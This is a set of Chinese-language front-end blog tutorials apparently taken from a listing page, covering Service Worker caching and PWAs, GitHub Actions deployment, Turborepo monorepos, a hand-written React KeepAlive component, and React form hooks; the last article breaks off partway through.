// 安装时缓存离线页面
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open(CACHE_NAME).then((cache) => cache.add(OFFLINE_URL))
  );
  // 强制等待中的 SW 立即激活
  self.skipWaiting();
});

// 激活时清理旧缓存
self.addEventListener('activate', (event) => {
  event.waitUntil(
    caches.keys().then((keys) => {
      return Promise.all(
        keys.filter(key => key !== CACHE_NAME).map(key => caches.delete(key))
      );
    })
  );
  self.clients.claim();
});

// 拦截请求,离线时返回缓存
self.addEventListener('fetch', (event) => {
  if (event.request.mode === 'navigate') {
    // 页面导航请求
    event.respondWith(
      fetch(event.request).catch(() => caches.match(OFFLINE_URL))
    );
  } else {
    // 其他资源走缓存优先策略(稍后优化)
    event.respondWith(
      caches.match(event.request).then((response) => {
        return response || fetch(event.request);
      })
    );
  }
});

然后在 index.html 里注册:

<script>
  if ('serviceWorker' in navigator) {
    window.addEventListener('load', () => {
      navigator.serviceWorker.register('/sw.js').then(reg => {
        console.log('SW 注册成功', reg);
      }).catch(err => {
        console.log('SW 注册失败', err);
      });
    });
  }
</script>

现在你打开网站,开飞机模式(或 DevTools → Network 离线),刷新页面,应该会显示 offline.html。说明 SW 已经拦下了请求。

三、缓存策略:别把所有鸡蛋放一个篮子

上面的代码对所有资源都用了“缓存优先”——先查 cache,没有才网络。这会导致一个问题:如果某个资源之前缓存过,即使服务器更新了,用户也看不到新版本。所以需要根据资源类型选择策略。

常用策略:

  • Cache First(缓存优先):适合不常变的图片、字体、CSS 库。速度快。
  • Network First(网络优先):适合 API 数据、HTML 页面。先尝试网络,失败再读缓存。
  • Stale-While-Revalidate:先返回缓存(如果有),同时后台更新缓存。兼顾速度和新鲜度。
  • 仅网络:永远不缓存(如支付接口)。
  • 仅缓存:永远从缓存取(如离线页面)。

我们改一下 fetch 事件:

self.addEventListener('fetch', (event) => {
  const url = new URL(event.request.url);
  // 如果是 API 请求,走网络优先
  if (url.pathname.startsWith('/api/')) {
    event.respondWith(
      fetch(event.request).catch(() => caches.match(event.request))
    );
    return;
  }
  // 如果是静态资源(js、css、图片),走缓存优先
  if (/\.(js|css|png|jpg|webp)$/.test(url.pathname)) {
    event.respondWith(
      caches.match(event.request).then((cached) => cached || fetch(event.request))
    );
    return;
  }
  // 其他(如 HTML)走 stale-while-revalidate
  event.respondWith(
    caches.open(CACHE_NAME).then(async (cache) => {
      const cached = await cache.match(event.request);
      const fetchPromise = fetch(event.request).then((response) => {
        cache.put(event.request, response.clone());
        return response;
      }).catch(() => cached);
      return cached || fetchPromise;
    })
  );
});

这样,你的网站既能离线访问,又能及时更新动态内容。

四、用 Workbox 简化代码

手写缓存策略很麻烦,尤其还要处理版本、过期、缓存清理。Google 出品了 Workbox,一套工具库,几行配置搞定复杂策略。

安装 Workbox CLI 或直接在 sw.js 里导入 CDN:

importScripts('https://storage.googleapis.com/workbox-cdn/releases/7.0.0/workbox-sw.js');

const { registerRoute, strategies, cacheableResponse } = workbox;

// 预缓存静态资源(构建时生成 manifest)
workbox.precaching.precacheAndRoute(self.__WB_MANIFEST || []);

// 图片缓存策略
registerRoute(
  ({ request }) => request.destination === 'image',
  new strategies.CacheFirst({
    cacheName: 'images',
    plugins: [
      new cacheableResponse.CacheableResponsePlugin({ statuses: [0, 200] }),
      new workbox.expiration.ExpirationPlugin({ maxEntries: 50, maxAgeSeconds: 30 * 24 * 60 * 60 })
    ]
  })
);

// API 网络优先
registerRoute(
  ({ url }) => url.pathname.startsWith('/api/'),
  new strategies.NetworkFirst()
);

配合 webpack/vite 插件,可以自动生成预缓存清单,连 install 里的 cache.add 都不用手动写。

五、让网站可安装(添加到主屏幕)

PWA 另一大特性:用户可以像装 App 一样把网站装到手机桌面。需要满足三个条件:

  1. HTTPS(或 localhost)
  2. 注册了 Service Worker
  3. 有一个 manifest.json 文件,放在根目录

示例 manifest.json

{
  "name": "我的离线网站",
  "short_name": "离线站",
  "start_url": "/",
  "display": "standalone",
  "theme_color": "#000000",
  "background_color": "#ffffff",
  "icons": [
    {
      "src": "/icon-192.png",
      "sizes": "192x192",
      "type": "image/png"
    },
    {
      "src": "/icon-512.png",
      "sizes": "512x512",
      "type": "image/png"
    }
  ]
}

index.html 里引用:

<link rel="manifest" href="/manifest.json">

之后用户访问网站,浏览器会在地址栏右侧弹出“安装 App”的提示。点一下,桌面就多了一个图标,打开后没有浏览器地址栏,像原生 App。

六、推送通知(可选彩蛋)

Service Worker 还能接收服务器推送的消息,即使网站没打开也能弹出通知。这需要用户授权和后台推送服务(比如 Firebase Cloud Messaging)。代码稍复杂,但可以实现“用户关掉浏览器,你也能给他发优惠券提醒”的效果。

七、实测数据:加了 SW 之后

我用一个 React 静态网站测试:

  • 未缓存:首次加载 1.8s,二次无网白屏。
  • 加了 Workbox 预缓存:首次 2.0s(多下载了 SW 和 manifest),二次无网打开 0.3s(完全离线)。
  • 页面切换速度提升明显,因为路由对应的 JS 也被缓存。

用户从“等待加载”变成“秒开”,体验提升 5 倍以上。

八、坑点与避坑

  • 更新缓存:修改文件后,用户可能还是旧版本。需要更新 CACHE_NAME 版本号,或者在预缓存时用 rev(文件 hash)解决。Workbox 会自动处理。
  • localhost 测试:记得勾选 DevTools → Application → Service Workers → Update on reload,否则 SW 缓存会干扰。
  • 作用域:SW 默认作用域是 sw.js 所在目录,如果放在根目录,可以控制全站。放在 js/ 下就只能控制 js/ 路径。
  • 调试:Chrome DevTools 的 Application 面板可以看到所有缓存、SW 状态、推送通知。

九、总结:PWA 是前端的“离线外挂”

  • Service Worker 是浏览器后台独立线程,能拦截请求、缓存资源、推送通知。
  • 生命周期:注册 → 安装 → 激活 → fetch。
  • 缓存策略根据资源类型选择:Cache First、Network First、Stale-While-Revalidate。
  • 搭配 Workbox 可省去手写复杂缓存逻辑。
  • 加上 manifest.json 就能让网站“安装到桌面”。

下次你坐飞机,打开自己的 PWA 网站,不用网络也能刷内容。同事看了问:“你怎么做到的?” 你就可以把本文甩给他。


评论区聊聊:你的网站支持离线访问吗?遇到过哪些缓存更新问题?

你还在手动敲命令部署?GitHub Actions 让你 push 即上线,摸鱼时间翻倍

作者 kyriewen
2026年5月9日 23:08

你改完代码,打开终端,输入 npm run build,然后 FTP 上传,或者登录服务器 git pull。这一套操作每天重复 N 次,不累吗?今天我们来把“部署”这件事自动化——用 GitHub Actions,只要你 git push,代码自动测试、自动打包、自动发到服务器。以后你只管写代码,上线交给机器人。

前言

我见过太多团队还停留在“手工部署”时代:上线先发个群消息“我要部署了,大家别动”,然后手动打包、上传、解压、重启。万一忘了执行某个步骤,线上就挂了。

GitHub Actions 就是你的免费 DevOps 机器人。它能监听 GitHub 上的事件(push、pull request、issue),然后执行你写好的自动化脚本。我们只需要写一个 YAML 文件,放在 .github/workflows 目录下,剩下的全部自动。

今天我们就来写一个完整的工作流:当推送到 main 分支时,自动运行测试、构建、并部署到服务器(或 Vercel / 阿里云 OSS)。全程保姆级,复制粘贴就能用。

一、准备工作:你需要什么?

  • GitHub 仓库(私有或公开都可以)。
  • 一台服务器(或云存储,如阿里云 OSS、Vercel)。
  • 如果部署到自己的服务器,需要服务器的 SSH 密钥(免密登录)。

如果你没有服务器,可以用 Vercel(个人项目免费,连 GitHub 自动部署也是免费的,甚至不需要写 Actions——但为了教学,我们还是会演示自定义部署到服务器的流程)。

二、基础工作流:跑测试 + 打包

在项目根目录创建 .github/workflows/deploy.yml

name: CI/CD Pipeline

on:
  push:
    branches: [ main ]   # 当推送到 main 分支时触发
  pull_request:
    branches: [ main ]   # PR 时也跑测试,但不部署

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: 检出代码
        uses: actions/checkout@v4

      - name: 安装 Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 18

      - name: 安装依赖
        run: npm ci

      - name: 运行测试
        run: npm test

  build:
    runs-on: ubuntu-latest
    needs: test   # 测试通过后才构建
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 18
      - run: npm ci
      - run: npm run build
      - name: 上传构建产物(给后续部署用)
        uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/

提交这个文件后,每次 git push main,GitHub 就会自动跑测试和构建。你可以在仓库的 Actions 标签页看到实时日志。

三、部署到自己的服务器(通过 SSH)

deploy.yml 中增加一个 job,依赖 build,然后通过 SSH 把构建产物上传到服务器。

首先在 GitHub 仓库 Settings → Secrets and variables → Actions 中添加几个密钥:

  • SERVER_HOST:你的服务器 IP
  • SERVER_USERNAME:登录用户名(如 root、ubuntu)
  • SSH_PRIVATE_KEY:服务器的私钥内容(复制 ~/.ssh/id_rsa 整个内容)

然后在 deploy.yml 中添加:

  deploy:
    runs-on: ubuntu-latest
    needs: build
    if: github.event_name == 'push'   # 只有 push 时部署,PR 不部署
    steps:
      - name: 下载构建产物
        uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist

      - name: 通过 SSH 部署
        uses: easingthemes/ssh-deploy@main
        env:
          SSH_PRIVATE_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
          ARGS: "-rlgoDzvc -i --delete"
          SOURCE: "dist/"
          REMOTE_HOST: ${{ secrets.SERVER_HOST }}
          REMOTE_USER: ${{ secrets.SERVER_USERNAME }}
          TARGET: "/var/www/myapp/"   # 服务器上的目标目录

这样,每次 git push main,代码会自动出现在 /var/www/myapp 中。如果服务器上跑着 Nginx,刷新页面就是新版。

如果想要重启 PM2 进程,可以在部署步骤后加一个 exec 命令:

      - name: 重启 PM2 服务(如果后端是 Node)
        uses: appleboy/ssh-action@v1
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USERNAME }}
          key: ${{ secrets.SSH_PRIVATE_KEY }}
          script: |
            cd /var/www/myapp
            pm2 restart myapp

四、部署到 Vercel(更简单)

如果你的项目是前端静态站点,Vercel 本身就是和 GitHub 集成的。但你也可以手动写 Actions 来调用 Vercel CLI。不过更推荐直接在 Vercel 网站导入 GitHub 仓库,它会自动监听 main 分支并部署,连 YAML 都不用写。

如果你坚持要用 Actions 调用 Vercel:

      - name: 部署到 Vercel
        uses: amondnet/vercel-action@v20
        with:
          vercel-token: ${{ secrets.VERCEL_TOKEN }}
          vercel-org-id: ${{ secrets.ORG_ID}}
          vercel-project-id: ${{ secrets.PROJECT_ID}}
          vercel-args: '--prod'

五、部署到阿里云 OSS(静态网站托管)

阿里云 OSS 支持静态网站。我们可以用 aliyun-cli 同步文件:

      - name: 安装阿里云 CLI
        run: npm install -g @alicloud/oss

      - name: 同步到 OSS
        run: |
          oss cp dist/ oss://my-bucket/ -r --force --access-key-id ${{ secrets.OSS_KEY_ID }} --access-key-secret ${{ secrets.OSS_KEY_SECRET }} --endpoint oss-cn-hangzhou.aliyuncs.com

六、进阶:分环境部署(dev/staging/prod)

你可以通过分支名来区分环境:

  • main 分支 → 生产环境
  • develop 分支 → 测试环境

on.push.branches 里可以写多个分支,然后在 job 里根据 github.ref_name 做判断,选择不同的服务器目录或环境变量。

七、常见坑点

  • 密钥泄露:永远不要把 SSH 私钥、密码明文写在代码里,要用 GitHub Secrets。
  • 构建产物太大upload-artifact 可能较慢,对于几 MB 的项目还好,几百 MB 建议直接推送到服务器或云存储。
  • 权限问题:确保服务器上目标目录有写入权限。
  • 缓存依赖:可以加 actions/cache 来缓存 node_modules,每次 build 快很多。

八、总结:让机器人替你干活

  • 写好 .github/workflows/deploy.yml,push 即触发。
  • 用 Secrets 存放敏感信息。
  • 可以串联测试、构建、部署,还能加个钉钉/飞书通知。

从此你只需要 git add . && git commit -m "fix: xxx" && git push,然后去倒杯水。回来群里就会收到:“生产环境部署成功,版本 v1.2.3”。不用记命令、不用等上传、不怕忘步骤。这才是现代前端该有的体验。

如果你觉得今天的“自动化”够解放双手,点个赞让更多人看到。评论区聊聊:你经历过哪些手工部署的惨案?

你的代码仓库变成“毛线团”了?Monorepo 用 Turborepo 拆成“乐高积木”

作者 kyriewen
2026年5月8日 23:12

你维护着五六个项目,每个都单独开一个 Git 仓库。改一个公共组件,要挨个进每个项目,复制粘贴,提交,发布。一上午就没了。今天我们来学 Monorepo——用 Turborepo 把多个项目放进同一个仓库,共享代码、统一构建、一键发布。让你的“多仓库噩梦”变成“搭积木游戏”。

前言

Polyrepo(多仓库)刚开始很爽:每个项目独立,互不干扰。但公共代码一多,就成了复制粘贴地狱。你修了一个 bug,五个项目都要同步,漏一个线上就崩。

Monorepo(单仓库)不是把代码随便堆在一起,而是用工具(Turborepo、Nx、Lerna)把多个项目“有序地”放在同一个 Git 仓库里,让它们能共享依赖、共享配置、共享构建缓存。今天我们用 Turborepo(Vercel 出品,Next.js 同款团队)搭一个 Monorepo,里面有 React 应用、Node API、一个共享的 UI 组件库。全程实战,告别“复制粘贴工程师”。

一、Monorepo 解决了什么?

  • 代码共享:公共组件放在 packages/shared,所有应用直接 import
  • 统一依赖:根目录一个 package.json,用 pnpmyarn workspaces 管理依赖,避免重复安装。
  • 原子提交:一次 commit 修改多个项目,版本同步。
  • 任务缓存:Turborepo 会记住每个任务的输入输出,第二次构建直接取缓存,秒完成。

二、准备工作:安装 pnpm 和 Turborepo

我们选择 pnpm 作为包管理器(比 npm/yarn 快,节省磁盘空间)。如果你没装 pnpm:

npm install -g pnpm

创建项目目录:

mkdir my-monorepo
cd my-monorepo
pnpm init

三、配置 pnpm workspace

在根目录创建 pnpm-workspace.yaml

packages:
  - "apps/*"
  - "packages/*"

这样 apps/ 下的每个子目录是一个应用(比如 React 前端、Node 后端),packages/ 下的子目录是共享包(比如 UI 组件库、工具函数)。

四、安装 Turborepo

pnpm add -g turbo
# 或者在项目中安装
pnpm add -D turbo

创建 turbo.json

{
  "$schema": "https://turbo.build/schema.json",
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],
      "outputs": ["dist/**"]
    },
    "dev": {
      "cache": false,
      "persistent": true
    },
    "lint": {},
    "test": {}
  }
}

pipeline 定义了任务依赖关系。^build 表示执行某个包的 build 之前,先构建它的依赖包。

五、创建共享组件库

mkdir -p packages/ui
cd packages/ui
pnpm init

packages/ui/package.json 中,给包起个名字(重要):

{
  "name": "@myrepo/ui",
  "version": "0.0.1",
  "main": "./src/index.tsx",
  "types": "./src/index.tsx",
  "scripts": {
    "build": "tsc"
  }
}

安装 React 和 TypeScript 依赖(在根目录执行):

pnpm add -D react react-dom typescript @types/react -w

-w 表示安装在根 workspace。

写一个简单的 Button 组件:packages/ui/src/Button.tsx

import React from 'react';

export const Button: React.FC<{ children: React.ReactNode }> = ({ children }) => {
  return <button style={{ padding: '8px 16px', background: 'blue', color: 'white' }}>{children}</button>;
};

packages/ui/src/index.tsx

export { Button } from './Button';

配置 TypeScript:packages/ui/tsconfig.json

{
  "compilerOptions": {
    "jsx": "react-jsx",
    "module": "ESNext",
    "target": "ES2020",
    "declaration": true,
    "outDir": "dist",
    "strict": true
  },
  "include": ["src"]
}

六、创建 React 应用

我们用 Vite 创建一个 React 应用放在 apps/web

cd apps
pnpm create vite web --template react-ts
cd web

修改 apps/web/package.json,添加对共享包的依赖:

"dependencies": {
  "@myrepo/ui": "workspace:*",
  ...
}

workspace:* 表示使用当前 workspace 中的对应包。

apps/web/src/App.tsx 中引入共享按钮:

import { Button } from '@myrepo/ui';

function App() {
  return (
    <div>
      <h1>Monorepo Demo</h1>
      <Button>来自共享组件库的按钮</Button>
    </div>
  );
}
export default App;

现在在根目录运行 pnpm install,它会自动链接本地包。

七、配置 Turborepo 任务

修改根 turbo.json,让 build 任务在 React 应用里产生输出:

{
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],
      "outputs": ["dist/**", "build/**"]
    },
    "dev": {
      "cache": false,
      "persistent": true
    }
  }
}

然后在根 package.json 添加脚本:

"scripts": {
  "dev": "turbo dev",
  "build": "turbo build",
  "lint": "turbo lint"
}

运行 pnpm dev,Turborepo 会同时启动两个应用的开发服务器(如果你还有 Node 后端的话)。第一次启动正常速度,第二次因为缓存,秒开。

八、共享配置与依赖提升

想在根目录统一管理 TypeScript、ESLint、Prettier 配置?在根目录创建 tsconfig.base.json,然后每个子项目的 tsconfig.json 继承它:

// apps/web/tsconfig.json
{
  "extends": "../../tsconfig.base.json",
  "compilerOptions": {
    "outDir": "./dist"
  }
}

ESLint 同理,根目录装 eslint,每个子项目通过根配置运行。

九、生产构建与部署

运行 pnpm build,Turborepo 会按照依赖顺序构建:先构建 @myrepo/ui,再构建 apps/web。并且第二次构建时会复用缓存,毫秒级完成。

构建产物可以分别部署:apps/web/dist 部署到 Vercel/Netlify,Node 应用部署到服务器。因为它们在一个仓库里,但部署是独立的。

十、总结:Monorepo 不是银弹,但能救你于复制粘贴

  • 适合场景:多个项目共享代码、团队规模中等、希望统一 CI/CD。
  • 不适合:项目之间几乎没有依赖、团队权限隔离要求极高(可加 CODEOWNERS 缓解)。
  • 工具选择:Turborepo 速度快、配置简单;Nx 功能更强(但复杂);Lerna 已过时(现在用 Nx 或 Turborepo)。

下次你又在不同项目间同步代码时,想一想:能不能把它们放进同一个 Monorepo,用 Turborepo 一键构建?省下的时间,正好可以摸会儿鱼。

面试手写 KeepAlive:React 组件缓存的实现原理

作者 Lee川
2026年5月8日 20:16

面试手写 KeepAlive:React 组件缓存的实现原理

面试官:"用过 Vue 的 <keep-alive> 吗?如果让你在 React 中手写一个,你会怎么实现?"

这看似是一道框架 API 题,实际上考察的是你对 React 组件渲染机制DOM 复用策略 的理解深度。本文将带你从零手写一个 KeepAlive 组件,把每一步的设计决策讲透彻。


先搞懂本质:KeepAlive 解决什么问题?

看一个具体场景。我们的 App 有两个 Tab:

// App.jsx
const App = () => {
    const [activeTab, setActiveTab] = useState('A')

    return (
        <div>
            <button onClick={() => setActiveTab('A')}>显示A组件</button>
            <button onClick={() => setActiveTab('B')}>显示B组件</button>

            <KeepAlive activeId={activeTab}>
                {activeTab === 'A' ? <Counter name="A" /> : <OtherCounter name="B" />}
            </KeepAlive>
        </div>
    )
}

Counter 组件内部有一个 count 状态:

const Counter = ({ name }) => {
    const [count, setCount] = useState(0)
    // 挂载/卸载的生命周期日志
    useEffect(() => {
        console.log('挂载', name)
        return () => console.log('卸载', name)
    }, [])

    return (
        <div>
            <h3>{name}视图</h3>
            <p>当前计数:{count}</p>
            <button onClick={() => setCount(count + 1)}>加1</button>
        </div>
    )
}

没有 KeepAlive 时,用户在 A 组件把 count 点到 5,切换到 B,再切回 A:

切换 BA 组件卸载(state 销毁,count 归零,DOM 移除)
切回 AA 组件重新挂载(count 重新从 0 开始,useEffect 再次执行)

用户体验:辛辛苦苦点的数全白费了。


核心思路:把 JSX 元素存进一个对象里

React 的组件渲染本质上就是把 JSX 转成 Virtual DOM,再映射到真实 DOM。那如果我们不销毁这个 JSX 对应的 DOM,而是把它"藏起来"呢?

关键认知:JSX 本质上就是一个 JavaScript 对象引用。 只要引用不被 GC 回收,React 内部维护的 Fiber 节点和对应的真实 DOM 就不会被销毁。

设计数据结构:

// cache 对象的结构
{
    'A': <Counter name="A" />,     // JSX 对象引用
    'B': <OtherCounter name="B" />,
}
  • key:用 activeId 作为缓存键,唯一标识每个需要缓存的视图
  • value:存储该视图对应的 JSX 元素(注意:是首次渲染时的那个 JSX 对象,不是每次都创建新的)

一步步写出来

第一版:能跑就行的朴素实现

import { useState, useEffect } from 'react'

const KeepAlive = ({ activeId, children }) => {
    const [cache, setCache] = useState({})

    useEffect(() => {
        if (!cache[activeId]) {
            setCache(prev => ({
                ...prev,
                [activeId]: children
            }))
        }
    }, [activeId, children, cache])

    return (
        <>
            {Object.entries(cache).map(([id, component]) => (
                <div
                    key={id}
                    style={{ display: id === activeId ? 'block' : 'none' }}
                >
                    {component}
                </div>
            ))
            }
        </>
    )
}

export default KeepAlive

逐行解析

1. 缓存状态:const [cache, setCache] = useState({})

用一个对象存储所有被缓存过的视图。为什么用 useState 而不是 useRef?因为我们需要在状态更新时触发重新渲染——新的 children 被存入缓存后,必须让 React 重新执行 render 才能把新 DOM 渲染出来。

2. 缓存时机:if (!cache[activeId])
useEffect(() => {
    if (!cache[activeId]) {
        setCache(prev => ({
            ...prev,
            [activeId]: children
        }))
    }
}, [activeId, children, cache])

这是整个组件的灵魂。判断逻辑是:

场景 cache[activeId] 是否存在 行为
首次切换到某个 Tab 不存在 保存 children 到缓存
再次切换回已缓存的 Tab 已存在 什么都不做,复用旧缓存

注意:这里保存的是第一次渲染时的 children 引用。一旦保存,后续即使 children 变化(其他 Tab 的 JSX),已缓存的引用不会被覆盖。这就是状态得以保留的根源——React 始终渲染的是最初那个 Fiber 节点。

3. 显示策略:display: block / none
{Object.entries(cache).map(([id, component]) => (
    <div key={id} style={{ display: id === activeId ? 'block' : 'none' }}>
        {component}
    </div>
))}

所有被缓存过的组件全部渲染在 DOM 树中,但只把当前激活的那个设为可见:

  • 激活的 Tab:display: block(正常显示)
  • 隐藏的 Tab:display: none(DOM 存在但不可见)

这是整个方案最巧妙的地方:React 看到 {component} 引用没变,不会重新执行函数组件,不会触发 Hooks 重新计算,不会触发 useEffect。Fiber 节点一直挂在树上,状态完好无损。

当你从 B 切回 A 时,控制台不会打印"挂载 A",因为 A 组件的 Fiber 从未被卸载过。这就是 KeepAlive 的本质——DOM 存在但不显示,而非销毁后重建。


运行效果:对比控制台日志

// 初始加载
挂载 A              ← useEffect 触发

// 切换到 B
挂载 BB 首次进入缓存,执行挂载
// 注意:没有 "卸载 A"!

// 切回 A
// 没有 "挂载 A"!    ← A 从未卸载,缓存命中

// 再次切到 B
// 没有 "挂载 B"!    ← B 也从未卸载

A 组件切走时,控制台没有打印"卸载 A",因为 display: none 只是隐藏,React 的 cleanup 函数不会执行。切回来时也没有"挂载 A",计数仍然保持离开时的数字。


面试进阶:面试官可能会追问什么

Q1:为什么用 children 而不是让 KeepAlive 自己去渲染?

// ❌ 不好的设计:KeepAlive 内部 import 组件
<KeepAlive activeId={activeTab} components={{ A: Counter, B: OtherCounter }} />

// ✅ 好的设计:通过 children 让父组件控制渲染
<KeepAlive activeId={activeTab}>
    {activeTab === 'A' ? <Counter name="A" /> : <OtherCounter name="B" />}
</KeepAlive>

原因children 模式遵循 React 的组合优于继承原则。父组件完全控制子组件的 props、条件渲染逻辑,KeepAlive 只负责缓存,职责单一。

Q2:所有缓存组件都在 DOM 中,性能会不会有问题?

会有。每个隐藏的组件虽然不可见,但它的 DOM 节点和 Fiber 节点全部真实存在于内存中。如果你的 Tab 内容包含 1000 个列表项,那缓存 10 个 Tab 就是 10000 个 DOM 节点——对内存和首屏渲染性能都是负担。

生产级方案(如 react-activation)会做更精细的优化:通过 React Portal 把隐藏组件的 DOM 移到一个独立的、脱离文档流的容器中挂起。

Q3:useEffect 的依赖数组里有 cache,会不会导致无限循环?

cache[activeId] 不存在时才调用 setCache,更新后的 cacheactiveId 已存在,下次 useEffect 执行时 if (!cache[activeId])false,不会再调用 setCache。所以不会无限循环。

但这里有一个可优化的点:依赖 cache 对象意味着每次缓存更新后 useEffect 都会对整个 cache 重新求值。更好的写法是用函数式 setState + 单独的 useEffect 监听:

useEffect(() => {
    setCache(prev => {
        if (prev[activeId]) return prev  // 已缓存,不更新
        return { ...prev, [activeId]: children }
    })
}, [activeId, children])

这样去掉了对 cache 的依赖,效果一样但更简洁。

Q4:display: none 和条件渲染有什么区别?

display: none 条件渲染 {visible && <Comp />}
DOM 存在 ✅ 存在 ❌ 移除
state 保留 ✅ 保留 ❌ 销毁
useEffect cleanup ❌ 不触发 ✅ 触发
组件函数是否重新执行 ❌ 不执行 ✅ 重新执行

条件渲染的本质是移除 DOM → 销毁 Fiber → 清除 state → 执行 cleanup。display: none 的本质是 DOM 还在 → Fiber 还在 → state 还在 → cleanup 不执行。前者是"删了重建",后者是"藏起来再拿出来"。


从面试代码到生产级方案

这个 25 行的实现抓住了 KeepAlive 的核心思想,但它缺少几个关键能力:

缺失能力 生产级方案(react-activation)
滚动位置恢复 内置 saveScrollPosition 属性
缓存淘汰策略 支持 LRU,限制最大缓存数量
多实例管理 AliveScope 全局缓存池统一调度
生命周期钩子 useActivate / useUnactivate 替代 useEffect
SSR 兼容 提供 SSRKeepAlive 降级方案
动画过渡 切换时可配合 CSS Transition

但面试官要看的不是你会不会用库——而是你是否理解状态保留的本质是保留 JSX 引用,保留引用的本质是不让 Fiber 卸载,不让 Fiber 卸载的本质是 DOM 不离树。


总结

手写 KeepAlive 是一个优质的面试题,它串起了 React 的多个核心概念:

JSX 对象引用 → useState 缓存 → display:none 保活
         ↘        Fiber 持久化       ↙
              状态与 DOM 永不销毁

记住这一条线,你就能在任何面试中把 KeepAlive 的原理讲得明明白白。

一句话版本:KeepAlive = useState 存 JSX 引用 + display: none 隐藏非激活 DOM,让 React 的 Fiber 节点不被卸载,从而保住所有组件内部状态。

React 表单处理:防抖校验、自动保存草稿与受控输入

2026年5月8日 10:43

表单是每个 React 应用里被重写次数最多的部分。第一天看上去再简单不过——丢一个 <input>,把 onChange 接到 useState,发版。到了第三个月,同一个表单上多了异步用户名校验、一份自动保存的草稿、一个自定义日期浮层,以及一个必须和设计系统配合好的"受控/非受控"开关。每一项都拖进来自己的临时状态机、自己的 effect 清理逻辑,以及自己那一堆边界情况。表单文件成了仓库里最长的那一个,团队里没人愿意碰它。

本文将走过四个非平凡表单迟早都会用到的原语:用一个防抖值来限流异步校验、用一个"受控或非受控"包装让组件两种用法都接受、用 localStorage 撑起一份能在刷新中存活的草稿,以及一个不会泄漏监听器的"点击外部关闭"浮层方案。每一个原语,我们都会先写手动版本,把代价摆出来,再换成 ReactUse 中专门的 Hook。最后我们把四个 Hook 组合成一个完整的"账户设置"表单:边输入边校验、自动保存草稿、还包含一个国家选择浮层。

1. 防抖的异步校验

手动实现

异步校验最经典的错误,是每敲一个键就发一次请求。经典的修法是 setTimeout,经典的 bug 是忘了清理上一次的定时器:

import { useEffect, useState } from "react";

function ManualUsernameField() {
  const [username, setUsername] = useState("");
  const [debounced, setDebounced] = useState("");
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    const id = setTimeout(() => setDebounced(username), 400);
    return () => clearTimeout(id);
  }, [username]);

  useEffect(() => {
    if (!debounced) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debounced)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      });
    return () => {
      cancelled = true;
    };
  }, [debounced]);

  return (
    <label>
      用户名
      <input value={username} onChange={(e) => setUsername(e.target.value)} />
      <span>{status}</span>
    </label>
  );
}

这里有两个 effect,干着两件不同的事,还必须保持同步。第一个是防抖器:把 username 的密集变化压成一个延迟后的 debounced 值。第二个是请求执行器:当 debounced 变化时发请求,并忽略掉过期返回。两个 effect 都需要自己的清理逻辑。忘了 clearTimeout,请求会重复;忘了 cancelled 标志,竞态会让旧响应覆盖新响应。

真正的代价不是行数——而是这段防抖逻辑被焊死在了这个具体字段上。要在 email 字段复用同样的能力,就得复制粘贴这五行。

ReactUse 的写法:useDebounce

useDebounce 返回一个比输入值落后固定延迟的值:

import { useEffect, useState } from "react";
import { useDebounce } from "@reactuses/core";

function UsernameField() {
  const [username, setUsername] = useState("");
  const debounced = useDebounce(username, 400);
  const [status, setStatus] = useState<"idle" | "checking" | "ok" | "taken">("idle");

  useEffect(() => {
    if (!debounced) {
      setStatus("idle");
      return;
    }
    let cancelled = false;
    setStatus("checking");
    fetch(`/api/username?u=${encodeURIComponent(debounced)}`)
      .then((r) => r.json())
      .then((data) => {
        if (!cancelled) setStatus(data.available ? "ok" : "taken");
      });
    return () => {
      cancelled = true;
    };
  }, [debounced]);

  return (
    <label>
      用户名
      <input value={username} onChange={(e) => setUsername(e.target.value)} />
      <span>{status}</span>
    </label>
  );
}

第一个 effect——专管防抖的那个——消失了。useDebounce 自己接管了定时器和清理。剩下的代码才是真正属于你这个表单的部分:当防抖值变化时跑一次校验请求,并丢弃过期返回。

这个 Hook 还和函数版的 useDebounceFn 天然搭配——当你想给的是一个事件处理器(比如"失焦保存")而不是一个值时,就用它。

2. 受控还是非受控——选一种,两种都支持

手动实现

库组件经常面对一个老问题:消费者应当传 valueonChange,还是让组件内部用 defaultValue 自己管状态?老实说答案是"看谁用"。大多数团队都得在每个字段上重新发明一遍这个模式:

function ManualToggle({
  value,
  defaultValue = false,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const isControlled = value !== undefined;
  const [internal, setInternal] = useState(defaultValue);
  const current = isControlled ? value : internal;

  const handleClick = () => {
    const next = !current;
    if (!isControlled) setInternal(next);
    onChange?.(next);
  };

  return (
    <button role="switch" aria-checked={current} onClick={handleClick}>
      {current ? "开" : "关"}
    </button>
  );
}

模式本身不复杂,但它是一块吸 bug 的磁铁。如果消费者中途把 value 切回 undefined,模式就在受控和非受控间跳了一次。如果他们传了 value 却没传 onChange 呢?React 自己的表单输入会对这两种情况都给出警告,但自定义组件几乎从不写这些校验——而当设计系统不断扩张,每一个 input、switch、slider、date picker 都会复制一遍这堆样板。

ReactUse 的写法:useControlled

useControlled 把整个模式塌缩成一个 Hook 调用:

import { useControlled } from "@reactuses/core";

function Toggle({
  value,
  defaultValue = false,
  onChange,
}: {
  value?: boolean;
  defaultValue?: boolean;
  onChange?: (next: boolean) => void;
}) {
  const [current, setCurrent] = useControlled({
    value,
    defaultValue,
    onChange,
  });

  return (
    <button
      role="switch"
      aria-checked={current}
      onClick={() => setCurrent(!current)}
    >
      {current ? "开" : "关"}
    </button>
  );
}

这个 Hook 替你做了三件你本来要自己写的事:

  1. 首次渲染时定型——决定是受控还是非受控,如果之后模式翻转就给出警告,和 React 内置 input 的诊断口径一致。
